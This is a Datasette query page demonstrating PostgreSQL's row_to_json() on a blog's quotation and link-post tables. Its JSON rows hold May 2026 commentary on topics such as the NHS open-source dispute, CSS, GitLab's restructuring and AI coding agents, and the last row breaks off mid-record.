row_to_json() demo

Example of the row_to_json() PostgreSQL function.

Owned by simonw, visibility: Public

SQL query
with quotations as (select 'quotation' as type, created, row_to_json(blog_quotation) as row from blog_quotation),
blogmarks as (select 'blogmark' as type, created, row_to_json(blog_blogmark) as row from blog_blogmark),
combined as (select * from quotations union all select * from blogmarks)
select * from combined order by created desc limit 100

100 rows

type created row
blogmark 2026-05-17 15:59:41+00:00
{
  "id": 9465,
  "slug": "gds-weighs-in",
  "link_url": "https://shkspr.mobi/blog/2026/05/gds-weighs-in-on-the-nhss-decision-to-retreat-from-open-source/",
  "link_title": "GDS weighs in on the NHS's decision to retreat from Open Source",
  "via_url": null,
  "via_title": null,
  "commentary": "Terence Eden continues his coverage of the NHS' [poorly considered decision](https://shkspr.mobi/blog/2026/05/nhs-goes-to-war-against-open-source/) to close down access to their open source repositories in response to vulnerabilities reported to them as part of [Project Glasswing](https://simonwillison.net/2026/Apr/7/project-glasswing/).\r\n\r\nNow the Government Digital Service have joined the conversation with [AI, open code and vulnerability risk in the public sector](https://www.gov.uk/guidance/ai-open-code-and-vulnerability-risk-in-the-public-sector), published May 14th. Their key recommendation:\r\n\r\n> Keep open by default. Making everything private adds additional delivery and policy costs, and can reduce reuse and scrutiny. Openness should remain the default posture, with closure used sparingly and deliberately. \r\n\r\nWhile they don't mention the NHS by name, Terence speaks the language of the civil service and interprets this as a major escalation:\r\n\r\n> Within the UK's Civil Service you occasionally hear the expression \"being invited to a meeting *without biscuits*\". It implies a rather frosty discussion without any of the polite niceties of a normal meeting. In general though, even when people have severe disagreements, it is rare for tempers to fray. It is even rarer for those internal disagreements to spill over into public.",
  "created": "2026-05-17T15:59:41+00:00",
  "metadata": {},
  "search_document": "'/2026/apr/7/project-glasswing/).':73C '/blog/2026/05/nhs-goes-to-war-against-open-source/)':49C '/guidance/ai-open-code-and-vulnerability-risk-in-the-public-sector),':96C '14th':99C 'a':155C,172C,178C,189C 'access':53C 'additional':111C 'adds':110C 'ai':18B,21B,30B,33B,84C 'ai-ethics':29B 'ai-security-research':32B 'and':87C,113C,116C,120C,132C,151C 'any':183C 'as':66C,154C 'being':169C 'biscuits':175C 'by':105C,141C 'can':117C 'civil':149C,162C 'close':51C 'closure':129C 'code':86C 'considered':45C 'continues':38C 'conversation':82C 'costs':115C 'coverage':40C 'decision':8A,46C 'default':106C,126C 'deliberately':133C 'delivery':112C 'digital':77C 'disagreements':200C,215C 'discussion':181C 'don':136C 'down':52C 'eden':28B,37C 'escalation':157C 'ethics':31B 'even':195C,210C 'everything':108C 'expression':168C 'for':204C,212C 'fray':207C 'from':11A 'frosty':180C 'gds':1A 'general':193C 'generative':20B 'generative-ai':19B 'glasswing':70C 'gov':24B 'gov-uk':23B 'government':76C 'have':79C,198C 'hear':166C 'his':39C 'implies':177C 'in':3A,59C,90C,192C 'internal':214C 'interprets':152C 'into':219C 'invited':170C 'is':202C,209C 'it':176C,201C,208C 'joined':80C 'keep':103C 'key':101C 'language':146C 'llms':22B 'major':156C 'making':107C 'may':98C 'meeting':173C,191C 'mention':138C 'name':142C 'nhs':6A,43C,140C 'niceties':187C 'normal':190C 'now':74C 'occasionally':165C 'of':41C,68C,147C,184C,188C 'on':4A 'open':12A,15B,56C,85C,104C 'open-source':14B 'openness':122C 'over':218C 'part':67C 'people':197C 'policy':114C 'polite':186C 'poorly':44C 'posture':127C 'private':109C 'project':69C 'public':92C,220C 'published':97C 'rare':203C 'rarer':211C 'rather':179C 'recommendation':102C 'reduce':118C 'remain':124C 'reported':63C 'repositories':58C 'research':35B 'response':60C 'retreat':10A 'reuse':119C 'risk':89C 's':7A,161C 'scrutiny':121C 'sector':93C 'security':17B,34B 'service':78C,150C,163C 'severe':199C 'shkspr.mobi':48C,221C 'shkspr.mobi/blog/2026/05/nhs-goes-to-war-against-open-source/)':47C 'should':123C 'simonwillison.net':72C 'simonwillison.net/2026/apr/7/project-glasswing/).':71C 'source':13A,16B,57C 'sparingly':131C 'speaks':144C 'spill':217C 't':137C 'tempers':205C 'terence':27B,36C,143C 'terence-eden':26B 'the':5A,42C,75C,81C,91C,125C,139C,145C,148C,159C,167C,185C 'their':55C,100C 'them':65C 'they':135C 'this':153C 'those':213C 'though':194C 'to':9A,50C,54C,61C,64C,171C,206C,216C 'uk':25B,160C 'used':130C 'vulnerabilities':62C 'vulnerability':88C 'weighs':2A 'when':196C 'while':134C 'with':83C,128C 'within':158C 'without':174C,182C 'www.gov.uk':95C 'www.gov.uk/guidance/ai-open-code-and-vulnerability-risk-in-the-public-sector),':94C 'you':164C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-05-16 16:45:37+00:00
{
  "id": 2200,
  "slug": "julia-evans",
  "quotation": "[...] in the last 10 years I\u2019ve learned to really love and respect CSS as a technology.\r\n\r\nSo I decided years ago that I wanted to react to \u201cCSS is hard\u201d by getting better at CSS and taking it seriously as a technology, instead of devaluing it. Doing that changed everything for me: I learned that so many of my frustrations (\u201ccentering is impossible\u201d) had been addressed in CSS a long time ago, and that also what \u201ccentering\u201d means is not always straightforward and it makes sense that there are many ways to do it. CSS is hard because it\u2019s solving a hard problem!",
  "source": "Julia Evans",
  "source_url": "https://jvns.ca/blog/2026/05/15/moving-away-from-tailwind--and-learning-to-structure-my-css-/",
  "created": "2026-05-16T16:45:37+00:00",
  "metadata": {},
  "search_document": "'10':4A 'a':16A,42A,70A,103A 'addressed':67A 'ago':22A,73A 'also':76A 'always':82A 'and':12A,37A,74A,84A 'are':90A 'as':15A,41A 'at':35A 'because':99A 'been':66A 'better':34A 'by':32A 'centering':62A,78A 'changed':50A 'css':14A,29A,36A,69A,96A,106B 'decided':20A 'devaluing':46A 'do':94A 'doing':48A 'evans':109B,111C 'everything':51A 'for':52A 'frustrations':61A 'getting':33A 'had':65A 'hard':31A,98A,104A 'i':6A,19A,24A,54A 'impossible':64A 'in':1A,68A 'instead':44A 'is':30A,63A,80A,97A 'it':39A,47A,85A,95A,100A 'julia':108B,110C 'julia-evans':107B 'last':3A 'learned':8A,55A 'long':71A 'love':11A 'makes':86A 'many':58A,91A 'me':53A 'means':79A 'my':60A 'not':81A 'of':45A,59A 'problem':105A 'react':27A 'really':10A 'respect':13A 's':101A 'sense':87A 'seriously':40A 'so':18A,57A 'solving':102A 'straightforward':83A 'taking':38A 'technology':17A,43A 'that':23A,49A,56A,75A,88A 'the':2A 'there':89A 'time':72A 'to':9A,26A,28A,93A 've':7A 'wanted':25A 'ways':92A 'what':77A 'years':5A,21A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Moving away from Tailwind, and learning to structure my CSS"
}
quotation 2026-05-14 22:31:20+00:00
{
  "id": 2199,
  "slug": "mitchell-hashimoto",
  "quotation": "[...] On the interesting side is how fungible programming languages are nowadays. Programming languages used to be LOCK IN, and they're increasingly not so. You think the Bun rewrite in Rust is good for Rust? Bun has shown they can be in probably any language they want in roughly a week or two. Rust is expendable. Its useful until its not then it can be thrown out. That's interesting!",
  "source": "Mitchell Hashimoto",
  "source_url": "https://twitter.com/mitchellh/status/2055039647924007222",
  "created": "2026-05-14T22:31:20+00:00",
  "metadata": {},
  "search_document": "'a':50A 'agentic':83B 'agentic-engineering':82B 'ai':71B,76B 'and':19A 'any':44A 'are':10A 'be':16A,41A,65A 'bun':28A,36A,81B 'can':40A,64A 'engineering':84B 'expendable':56A 'for':34A 'fungible':7A 'generative':75B 'generative-ai':74B 'good':33A 'has':37A 'hashimoto':80B,86C 'how':6A 'in':18A,30A,42A,48A 'increasingly':22A 'interesting':3A,70A 'is':5A,32A,55A 'it':63A 'its':57A,60A 'language':45A 'languages':9A,13A 'llms':77B 'lock':17A 'mitchell':79B,85C 'mitchell-hashimoto':78B 'not':23A,61A 'nowadays':11A 'on':1A 'or':52A 'out':67A 'probably':43A 'programming':8A,12A 're':21A 'rewrite':29A 'roughly':49A 'rust':31A,35A,54A,72B 's':69A 'shown':38A 'side':4A 'so':24A 'that':68A 'the':2A,27A 'then':62A 'they':20A,39A,46A 'think':26A 'thrown':66A 'to':15A 'two':53A 'until':59A 'used':14A 'useful':58A 'want':47A 'week':51A 'you':25A 'zig':73B",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "on Bun porting from Zig to Rust"
}
blogmark 2026-05-13 23:59:39+00:00
{
  "id": 9464,
  "slug": "welcome-to-the-datasette-blog",
  "link_url": "https://datasette.io/blog/2026/new-blog/",
  "link_title": "Welcome to the Datasette blog",
  "via_url": null,
  "via_title": null,
  "commentary": "We have a bunch of neat Datasette announcements in the pipeline so we decided it was time the project grew an official blog.\r\n\r\nI built this using OpenAI Codex desktop, which turns out to have the Markdown session transcript export feature I've always wanted. Here's [the session that built the blog](https://gist.github.com/simonw/885b11eee46822622b8031a1f4e5f3a3). See also [issue 179](https://github.com/simonw/datasette.io/issues/179).",
  "created": "2026-05-13T23:59:39+00:00",
  "metadata": {},
  "search_document": "'/simonw/885b11eee46822622b8031a1f4e5f3a3).':74C '/simonw/datasette.io/issues/179).':81C '179':78C 'a':21C 'ai':6B,10B,13B 'ai-assisted-programming':12B 'also':76C 'always':62C 'an':39C 'announcements':26C 'assisted':14B 'blog':5A,41C,71C 'built':43C,69C 'bunch':22C 'cli':18B 'codex':17B,47C 'codex-cli':16B 'datasette':4A,7B,25C 'datasette.io':82C 'decided':32C 'desktop':48C 'export':58C 'feature':59C 'generative':9B 'generative-ai':8B 'gist.github.com':73C 'gist.github.com/simonw/885b11eee46822622b8031a1f4e5f3a3).':72C 'github.com':80C 'github.com/simonw/datasette.io/issues/179).':79C 'grew':38C 'have':20C,53C 'here':64C 'i':42C,60C 'in':27C 'issue':77C 'it':33C 'llms':11B 'markdown':55C 'neat':24C 'of':23C 'official':40C 'openai':46C 'out':51C 'pipeline':29C 'programming':15B 'project':37C 's':65C 'see':75C 'session':56C,67C 'so':30C 'that':68C 'the':3A,28C,36C,54C,66C,70C 'this':44C 'time':35C 'to':2A,52C 'transcript':57C 'turns':50C 'using':45C 've':61C 'wanted':63C 'was':34C 'we':19C,31C 'welcome':1A 'which':49C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-05-13 16:15:50+00:00
{
  "id": 2198,
  "slug": "boris-mann",
  "quotation": "\u201c11 AI agents\u201d is meaningless as a phrase. \r\n\r\nIf I said \u201cI have 11 spreadsheets\u201d or \u201cI have 11 browser tabs\u201d to do my work, it means about the same thing.",
  "source": "Boris Mann",
  "source_url": "https://bsky.app/profile/bmann.ca/post/3mlp2ipupv22z",
  "created": "2026-05-13T16:15:50+00:00",
  "metadata": {},
  "search_document": "'11':1A,14A,19A 'a':7A 'about':28A 'agent':37B 'agent-definitions':36B 'agents':3A,35B 'ai':2A,32B,34B 'ai-agents':33B 'as':6A 'boris':39C 'browser':20A 'definitions':38B 'do':23A 'have':13A,18A 'i':10A,12A,17A 'if':9A 'is':4A 'it':26A 'mann':40C 'meaningless':5A 'means':27A 'my':24A 'or':16A 'phrase':8A 'said':11A 'same':30A 'spreadsheets':15A 'tabs':21A 'the':29A 'thing':31A 'to':22A 'work':25A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": null
}
quotation 2026-05-12 22:59:58+00:00
{
  "id": 2197,
  "slug": "mo-bitar",
  "quotation": "Now, if your CEO has never heard the phrase Ralph Loop, oh man, you are less than 30 days away from your next promotion. I'm not even exaggerating. Walk into his office, close the door, and say, hey chief, been experimenting with something. It's called Ralph Loops. And I think it could change literally everything. And he's gonna say, what's a Ralph loop? And you will say, give me $18,000 worth of API credits and I'll show you. Now you won't actually do anything, because you can't do anything. Because nobody can, because nobody knows what they're doing. But by the time he figures that out, you'll have a new title, and equity bump. [...]\r\n\r\nTalk about automation constantly. Nothing arouses the slumbering capitalists than the mention of automation. Drop names too, bro. Like talk about specific team members you can automate out of existence. Be like, yo, I automated Gary, bro. Tag Gary in the message. Tag him in Slack in a very public channel. Be like, yo, I just automated @Gary. His function has been Ralph Looped. And tag your CEO in the same message. You think you're getting laid off after that?",
  "source": "Mo Bitar",
  "source_url": "https://www.tiktok.com/@atmoio/video/7638649825382190350",
  "created": "2026-05-12T22:59:58+00:00",
  "metadata": {},
  "search_document": "'000':75A '18':74A '30':18A 'a':65A,119A,172A 'about':126A,145A 'actually':89A 'after':204A 'ai':207B,210B 'ai-ethics':209B 'and':37A,50A,58A,68A,80A,122A,189A 'anything':91A,97A 'api':78A 'are':15A 'arouses':130A 'automate':151A 'automated':159A,181A 'automation':127A,138A 'away':20A 'be':155A,176A 'because':92A,98A,101A 'been':41A,186A 'bitar':213C 'bro':142A,161A 'bump':124A 'but':108A 'by':109A 'called':47A 'can':94A,100A,150A 'capitalists':133A 'careers':206B 'ceo':4A,192A 'change':55A 'channel':175A 'chief':40A 'close':34A 'constantly':128A 'could':54A 'credits':79A 'days':19A 'do':90A,96A 'doing':107A 'door':36A 'drop':139A 'equity':123A 'ethics':211B 'even':28A 'everything':57A 'exaggerating':29A 'existence':154A 'experimenting':42A 'figures':113A 'from':21A 'function':184A 'gary':160A,163A,182A 'getting':201A 'give':72A 'gonna':61A 'has':5A,185A 'have':118A 'he':59A,112A 'heard':7A 'hey':39A 'him':168A 'his':32A,183A 'i':25A,51A,81A,158A,179A 'if':2A 'in':164A,169A,171A,193A 'into':31A 'it':45A,53A 'just':180A 'knows':103A 'laid':202A 'less':16A 'like':143A,156A,177A 'literally':56A 'll':82A,117A 'loop':11A,67A 'looped':188A 'loops':49A 'm':26A 'man':13A 'me':73A 'members':148A 'mention':136A 'message':166A,196A 'mo':212C 'names':140A 'never':6A 'new':120A 'next':23A 'nobody':99A,102A 'not':27A 'nothing':129A 'now':1A,85A 'of':77A,137A,153A 'off':203A 'office':33A 'oh':12A 'out':115A,152A 'phrase':9A 'promotion':24A 'public':174A 'ralph':10A,48A,66A,187A 're':106A,200A 's':46A,60A,64A 'same':195A 'say':38A,62A,71A 'show':83A 'slack':170A 'slumbering':132A 'something':44A 'specific':146A 't':88A,95A 'tag':162A,167A,190A 'talk':125A,144A 'team':147A 'than':17A,134A 'that':114A,205A 'the':8A,35A,110A,131A,135A,165A,194A 'they':105A 'think':52A,198A 'tiktok':208B 'time':111A 'title':121A 'too':141A 'very':173A 'walk':30A 'what':63A,104A 'will':70A 'with':43A 'won':87A 'worth':76A 'yo':157A,178A 'you':14A,69A,84A,86A,93A,116A,149A,197A,199A 'your':3A,22A,191A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "The Unethical Guide to Surviving AI Layoffs, TikTok"
}
quotation 2026-05-12 22:21:51+00:00
{
  "id": 2196,
  "slug": "mitchell-hashimoto",
  "quotation": "The thing about 90% of TDMs [Technical Decision Makers] is that they're motivated primarily by NOT GETTING FIRED. These aren't people who browser Lobsters or push to GH on the weekend. These are people that work 9 to 5, get paid, go home, and NEVER THINK ABOUT WORK AGAIN. So to achieve all that, they follow secular trends supported by analysts and broad public sentiment. Oh, Gartner said that \"AI strategy\" is most important? McKinsey said \"context\" needs to be managed? Well, \"Context Engine for AI Apps\" is going to be defensible. Buy it.",
  "source": "Mitchell Hashimoto",
  "source_url": "https://lobste.rs/s/oznirn/redis_cost_ambition#c_dzrja0",
  "created": "2026-05-12T22:21:51+00:00",
  "metadata": {},
  "search_document": "'5':41A '9':39A '90':4A 'about':3A,49A 'achieve':54A 'again':51A 'ai':72A,88A 'all':55A 'analysts':63A 'and':46A,64A 'apps':89A 'are':35A 'aren':21A 'be':82A,93A 'broad':65A 'browser':25A 'buy':95A 'by':16A,62A 'context':79A,85A 'decision':8A 'defensible':94A 'engine':86A 'fired':19A 'follow':58A 'for':87A 'gartner':69A 'get':42A 'getting':18A 'gh':30A 'go':44A 'going':91A 'hashimoto':101B,103C 'home':45A 'important':76A 'is':10A,74A,90A 'it':96A 'lobsters':26A 'makers':9A 'managed':83A 'marketing':97B 'mckinsey':77A 'mitchell':100B,102C 'mitchell-hashimoto':99B 'most':75A 'motivated':14A 'needs':80A 'never':47A 'not':17A 'of':5A 'oh':68A 'on':31A 'or':27A 'paid':43A 'people':23A,36A 'primarily':15A 'public':66A 'push':28A 're':13A 'redis':98B 'said':70A,78A 'secular':59A 'sentiment':67A 'so':52A 'strategy':73A 'supported':61A 't':22A 'tdms':6A 'technical':7A 'that':11A,37A,56A,71A 'the':1A,32A 'these':20A,34A 'they':12A,57A 'thing':2A 'think':48A 'to':29A,40A,53A,81A,92A 'trends':60A 'weekend':33A 'well':84A 'who':24A 'work':38A,50A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "in a conversation about the design of the [Redis homepage](https://redis.io/)"
}
blogmark 2026-05-11 23:58:55+00:00
{
  "id": 9463,
  "slug": "gitlab-act-2",
  "link_url": "https://about.gitlab.com/blog/gitlab-act-2/",
  "link_title": "GitLab Act 2",
  "via_url": "https://news.ycombinator.com/item?id=48100500",
  "via_title": "Hacker News",
  "commentary": "There's a lot going on in this announcement from GitLab about the \"workforce reduction\" and \"structural and strategic decisions\" they are making with respect to the agentic era.\r\n\r\n- They're \"planning to reduce the number of countries by up to 30% where we have small teams\". One of the most interesting things about GitLab is that they have employees spread across a large number of countries - 18 are listed [in their public employee handbook](https://gitlab.com/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/people-group/employment-solutions.md) but this post says they are \"operating in nearly 60 countries\". That handbook used to document their payroll workflows for those countries too - they stopped publishing that in 2023 but [the last public version](https://gitlab.com/gitlab-com/content-sites/handbook/-/blob/82ad50d380b11751645eedc733f7d663cf908d1f/content/handbook/finance/payroll.md) (hooray for version control) remains a fascinating read. Since we don't know which of those 60 countries have small teams, we can't calculate how many countries that 30% applies to.\r\n- \"We're planning to flatten the organization, removing up to three layers of management in some functions so leaders are closer to the work.\" - this isn't the first announcement of this type I've seen that's trimming management. Coinbase [recently announced](https://twitter.com/brian_armstrong/status/2051616759145185723) a much more aggressive version of this: they were \"flattening our org structure to 5 layers max below\" and \"No pure managers: Every leader at Coinbase must also be a strong and active individual contributor. Managers should be like player-coaches\".\r\n- In terms of team structure: \"We're re-organizing R&D to create roughly 60 smaller, more empowered teams with end-to-end ownership, nearly doubling the number of independent teams.\" I've always loved the idea of individual teams that can ship features unblocked by other teams, and it makes sense to me that agentic engineering can increase the capability of such teams. The 37signals public employee handbook used to have a section on working [In self-sufficient, independent teams](https://github.com/basecamp/handbook/blob/9504494a6daa555837ee2cc2d9134ca43ab36301/how-we-work.md#in-self-sufficient-independent-teams) which perfectly captured this for me, I'm sad to see they [removed that detail](https://github.com/basecamp/handbook/commit/1db14f83913163f4e2e72130524269ae6ba3d757) in January 2024!\r\n- Tucked away towards the bottom: \"*We will be retiring CREDIT as our values framework*\" - that's the values framework [described on this page](https://gitlab.com/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/values/_index.md): \"Collaboration, Results for Customers, Efficiency, Diversity, Inclusion & Belonging, Iteration, and Transparency\". The new values are \"Speed with Quality, Ownership Mindset, Customer Outcomes\". The fact that \"Diversity\" is no longer in there is likely to attract a whole lot of attention, so it's worth noting that a sub-bullet under Customer Outcomes reads \"Interpersonal excellence: individuals who are good humans, embrace diversity, inclusion and belonging, assume good intent and treat everyone with respect\".\r\n\r\nHere's the part of their new strategy that most resonated with me:\r\n\r\n> **The agentic era multiplies demand for software**. Software has been the force multiplier behind nearly every business transformation of the last two decades. The constraint was the cost and time of producing and managing it. That constraint is collapsing. As the cost of producing software collapses, demand for it will expand. Last year, the developer platform market used to be measured in tens of dollars per user per month, this year it is hundreds/user/month and headed to thousands. *Not only is the value of software for builders increasing, but we believe there will be more software and builders than ever, and we will serve an increasing volume of both*.\r\n\r\nThat very much encapsulates my own optimistic, [Jevons-paradox](https://simonwillison.net/tags/jevons-paradox/)-inspired hope for how this will all work out.\r\n\r\nTheir opinion on this does need to be taken with a big grain of salt though. GitLab's stock price was ~$52 a year ago and is ~$26 today, and it's plausible that the drop corresponds to uncertainty about GitLab's continued growth as agentic engineering eats its way through their core market.\r\n\r\nIf your entire business depends on software engineering growing as a field and producing larger volumes of more lucrative seats, you have a strong incentive to believe that agents will have that effect!",
  "created": "2026-05-11T23:58:55+00:00",
  "metadata": {},
  "search_document": "'/basecamp/handbook/blob/9504494a6daa555837ee2cc2d9134ca43ab36301/how-we-work.md#in-self-sufficient-independent-teams)':338C '/basecamp/handbook/commit/1db14f83913163f4e2e72130524269ae6ba3d757)':356C '/brian_armstrong/status/2051616759145185723)':209C '/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/people-group/employment-solutions.md)':94C '/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/values/_index.md):':385C '/gitlab-com/content-sites/handbook/-/blob/82ad50d380b11751645eedc733f7d663cf908d1f/content/handbook/finance/payroll.md)':131C '/tags/jevons-paradox/)-inspired':594C '18':84C '2':3A '2023':123C '2024':359C '26':630C '30':58C,161C '37signals':4B,319C '5':224C '52':624C '60':104C,148C,267C 'a':19C,79C,137C,210C,239C,326C,421C,432C,613C,625C,667C,679C 'about':28C,70C,642C 'about.gitlab.com':690C 'across':78C 'act':2A 'active':242C 'agentic':15B,44C,309C,474C,648C 'agentic-engineering':14B 'agents':10B,685C 'aggressive':213C 'ago':627C 'ai':6B 'all':600C 'also':237C 'always':287C 'an':577C 'and':32C,34C,228C,241C,302C,395C,450C,455C,501C,505C,547C,569C,573C,628C,632C,669C 'announced':206C 'announcement':25C,193C 'applies':162C 'are':38C,85C,100C,183C,400C,444C 'as':370C,512C,647C,666C 'assume':452C 'at':234C 'attention':425C 'attract':420C 'away':361C 'be':238C,247C,367C,532C,566C,610C 'been':482C 'behind':486C 'believe':563C,683C 'belonging':393C,451C 'below':227C 'big':614C 'both':581C 'bottom':364C 'builders':559C,570C 'bullet':435C 'business':489C,660C 'but':95C,124C,561C 'by':55C,299C 'calculate':156C 'can':154C,295C,311C 'capability':314C 'captured':341C 'careers':5B 'closer':184C 'coaches':251C 'coding':9B 'coding-agents':8B 'coinbase':204C,235C 'collaboration':386C 'collapses':518C 'collapsing':511C 'constraint':497C,509C 'continued':645C 'contributor':244C 'control':135C 'core':655C 'corresponds':639C 'cost':500C,514C 'countries':54C,83C,105C,116C,149C,159C 'create':265C 'credit':369C 'customer':406C,437C 'customers':389C 'd':263C 'decades':495C 'decisions':36C 'demand':477C,519C 'depends':661C 'described':379C 'detail':353C 'developer':527C 'diversity':391C,411C,448C 'document':110C 'does':607C 'dollars':537C 'don':142C 'doubling':279C 'drop':638C 'eats':650C 'effect':689C 'efficiency':390C 'embrace':447C 'employee':90C,321C 'employees':76C 'empowered':270C 'encapsulates':585C 'end':274C,276C 'end-to-end':273C 'engineering':16B,310C,649C,664C 'entire':659C 'era':45C,475C 'ever':572C 'every':232C,488C 'everyone':457C 'excellence':441C 'expand':523C 'fact':409C 'fascinating':138C 'features':297C 'field':668C 'first':192C 'flatten':168C 'flattening':219C 'for':114C,133C,343C,388C,478C,520C,558C,596C 'force':484C 'framework':373C,378C 'from':26C 'functions':180C 'github.com':337C,355C 'github.com/basecamp/handbook/blob/9504494a6daa555837ee2cc2d9134ca43ab36301/how-we-work.md#in-self-sufficient-independent-teams)':336C 'github.com/basecamp/handbook/commit/1db14f83913163f4e2e72130524269ae6ba3d757)':354C 'gitlab':1A,7B,27C,71C,619C,643C 'gitlab.com':93C,130C,384C 'gitlab.com/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/people-group/employment-solutions.md)':92C 'gitlab.com/gitlab-com/content-sites/handbook/-/blob/7ce61c4be88b04061f9ad9ab5eb64db91ce89d2a/content/handbook/values/_index.md):':383C 'gitlab.com/gitlab-com/content-sites/handbook/-/blob/82ad50d380b11751645eedc733f7d663cf908d1f/content/handbook/finance/payroll.md)':129C 'going':21C 'good':445C,453C 'grain':615C 'growing':665C 'growth':646C 'hacker':691C 'handbook':91C,107C,322C 'has':481C 'have':61C,75C,150C,325C,678C,687C 'headed':548C 'here':460C 'hooray':132C 'hope':595C 'how':157C,597C 'humans':446C 'hundreds/user/month':546C 'i':197C,285C,345C 'idea':290C 'if':657C 'in':23C,87C,102C,122C,178C,252C,330C,357C,415C,534C 'incentive':681C 'inclusion':392C,449C 'increase':312C 'increasing':560C,578C 'independent':283C,334C 'individual':243C,292C 'individuals':442C 'intent':454C 'interesting':68C 'interpersonal':440C 'is':72C,412C,417C,510C,545C,553C,629C 'isn':189C 'it':303C,427C,507C,521C,544C,633C 'iteration':394C 'its':651C 'january':358C 'jevons':12B,590C 'jevons-paradox':11B,589C 'know':144C 'large':80C 'larger':671C 'last':126C,493C,524C 'layers':175C,225C 'leader':233C 'leaders':182C 'like':248C 'likely':418C 'listed':86C 'longer':414C 'lot':20C,423C 'loved':288C 'lucrative':675C 'm':346C 'makes':304C 'making':39C 'management':177C,203C 'managers':231C,245C 'managing':506C 'many':158C 'market':529C,656C 'max':226C 'me':307C,344C,472C 'measured':533C 'mindset':405C 'month':541C 'more':212C,269C,567C,674C 'most':67C,469C 'much':211C,584C 'multiplier':485C 'multiplies':476C 'must':236C 'my':586C 'nearly':103C,278C,487C 'need':608C 'new':398C,466C 'news':692C 'no':229C,413C 'not':551C 'noting':430C 'number':52C,81C,281C 'of':53C,65C,82C,146C,176C,194C,215C,254C,282C,291C,315C,424C,464C,491C,503C,515C,536C,556C,580C,616C,673C 'on':22C,328C,380C,605C,662C 'one':64C 'only':552C 'operating':101C 'opinion':604C 'optimistic':588C 'org':221C 'organization':170C 'organizing':261C 'other':300C 'our':220C,371C 'out':602C 'outcomes':407C,438C 'own':587C 'ownership':277C,404C 'page':382C 'paradox':13B,591C 'part':463C 'payroll':112C 'per':538C,540C 'perfectly':340C 'planning':48C,166C 'platform':528C 'plausible':635C 'player':250C 'player-coaches':249C 'post':97C 'price':622C 'producing':504C,516C,670C 'public':89C,127C,320C 'publishing':120C 'pure':230C 'quality':403C 'r':262C 're':47C,165C,258C,260C 're-organizing':259C 'read':139C 'reads':439C 'recently':205C 'reduce':50C 'reduction':31C 'remains':136C 'removed':351C 'removing':171C 'resonated':470C 'respect':41C,459C 'results':387C 'retiring':368C 'roughly':266C 's':18C,201C,375C,428C,461C,620C,634C,644C 'sad':347C 'salt':617C 'says':98C 'seats':676C 'section':327C 'see':349C 'seen':199C 'self':332C 'self-sufficient':331C 'sense':305C 'serve':576C 'ship':296C 'should':246C 'simonwillison.net':593C 'simonwillison.net/tags/jevons-paradox/)-inspired':592C 'since':140C 'small':62C,151C 'smaller':268C 'so':181C,426C 'software':479C,480C,517C,557C,568C,663C 'some':179C 'speed':401C 'spread':77C 'stock':621C 'stopped':119C 'strategic':35C 'strategy':467C 'strong':240C,680C 'structural':33C 'structure':222C,256C 'sub':434C 'sub-bullet':433C 'such':316C 'sufficient':333C 't':143C,155C,190C 'taken':611C 'team':255C 'teams':63C,152C,271C,284C,293C,301C,317C,335C 'tens':535C 'terms':253C 'than':571C 'that':73C,106C,121C,160C,200C,294C,308C,352C,374C,410C,431C,468C,508C,582C,636C,684C,688C 'the':29C,43C,51C,66C,125C,169C,186C,191C,280C,289C,313C,318C,363C,376C,397C,408C,462C,473C,483C,492C,496C,499C,513C,526C,554C,637C 'their':88C,111C,465C,603C,654C 'there':17C,416C,564C 'they':37C,46C,74C,99C,118C,217C,350C 'things':69C 'this':24C,96C,188C,195C,216C,342C,381C,542C,598C,606C 'those':115C,147C 'though':618C 'thousands':550C 'three':174C 'through':653C 'time':502C 'to':42C,49C,57C,109C,163C,167C,173C,185C,223C,264C,275C,306C,324C,348C,419C,531C,549C,609C,640C,682C 'today':631C 'too':117C 'towards':362C 'transformation':490C 'transparency':396C 'treat':456C 'trimming':202C 'tucked':360C 'twitter.com':208C 'twitter.com/brian_armstrong/status/2051616759145185723)':207C 'two':494C 'type':196C 'unblocked':298C 'uncertainty':641C 'under':436C 'up':56C,172C 'used':108C,323C,530C 'user':539C 'value':555C 'values':372C,377C,399C 've':198C,286C 'version':128C,134C,214C 'very':583C 'volume':579C 'volumes':672C 'was':498C,623C 'way':652C 'we':60C,141C,153C,164C,257C,365C,562C,574C 'were':218C 'where':59C 'which':145C,339C 'who':443C 'whole':422C 'will':366C,522C,565C,575C,599C,686C 'with':40C,272C,402C,458C,471C,612C 'work':187C,601C 'workflows':113C 'workforce':30C 'working':329C 'worth':429C 'year':525C,543C,626C 'you':677C 'your':658C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": "Thoughts on GitLab's workforce reduction\" and \"structural and strategic decisions\""
}
quotation 2026-05-11 19:48:32+00:00
{
  "id": 2195,
  "slug": "james-shore",
  "quotation": "Your AI coding agent, the one you use to write code, needs to reduce your maintenance costs. Not by a little bit, either. You write code twice as quick now? Better hope you\u2019ve halved your maintenance costs. Three times as productive? One third the maintenance costs. Otherwise, you\u2019re screwed. You\u2019re trading a temporary speed boost for permanent indenture. [...]\r\n\r\nThe math only works if the LLM *decreases* your maintenance costs, and by exactly the inverse of the rate it adds code. If you double your output and your cost of maintaining that output, two times two means you\u2019ve quadrupled your maintenance costs. If you double your output and hold your maintenance costs steady, two times one means you\u2019ve *still* doubled your maintenance costs.",
  "source": "James Shore",
